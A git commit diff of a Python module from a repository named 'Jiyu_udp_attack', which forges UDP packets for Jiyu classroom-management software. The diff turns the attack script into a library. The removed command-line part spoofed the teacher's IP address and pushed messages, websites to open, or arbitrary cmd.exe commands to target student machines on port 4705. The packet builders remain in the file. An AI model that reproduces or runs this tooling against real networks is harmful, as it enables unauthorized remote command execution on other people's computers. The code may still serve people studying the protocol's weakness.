|
1 | 1 | """ |
2 | | -Jiyu Attack Script |
3 | | -
|
4 | | -This script implements a Jiyu attack by sending specially crafted UDP packets to a target IP address. |
5 | | -It allows the user to input a message, which is then formatted and packaged into a byte array before being sent. |
6 | | -
|
7 | | -The script uses Scapy for packet manipulation and sending. |
| 2 | +This module is used to forge Jiyu UDP packets. |
8 | 3 | """ |
9 | 4 |
|
10 | | -import argparse |
11 | 5 | import secrets |
12 | 6 |
|
13 | 7 | from typing import Literal, Optional |
14 | 8 |
|
15 | | -from sender import broadcast_packet |
16 | | - |
17 | 9 |
|
18 | 10 | def format_data(data: str, max_length: Optional[int] = None) -> bytes: |
19 | 11 | """ |
@@ -132,34 +124,3 @@ def pkg_website(url: str) -> bytes: |
132 | 124 | ) |
133 | 125 |
|
134 | 126 | return head + data + b"\x00" * 4 |
135 | | - |
136 | | - |
137 | | -if __name__ == "__main__": |
138 | | - parser = argparse.ArgumentParser( |
139 | | - description="Jiyu Attack Script", |
140 | | - epilog="Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/", |
141 | | - ) |
142 | | - parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address") |
143 | | - parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address") |
144 | | - parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)") |
145 | | - |
146 | | - group = parser.add_mutually_exclusive_group(required=True) |
147 | | - group.add_argument("-m", "--message", type=str, help="Message to send") |
148 | | - group.add_argument("-w", "--website", type=str, help="Website URL to ask to open") |
149 | | - group.add_argument("-c", "--command", type=str, help="Command to execute on the target") |
150 | | - |
151 | | - args = parser.parse_args() |
152 | | - teacher_ip = args.teacher_ip |
153 | | - target = args.target |
154 | | - port = args.port |
155 | | - if args.message: |
156 | | - payload = pkg_message(args.message) |
157 | | - elif args.website: |
158 | | - payload = pkg_website(args.website) |
159 | | - elif args.command: |
160 | | - payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize") |
161 | | - else: |
162 | | - raise ValueError("Either message or website must be provided") |
163 | | - |
164 | | - broadcast_packet(teacher_ip, target, port, payload) |
165 | | - print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes") |
0 commit comments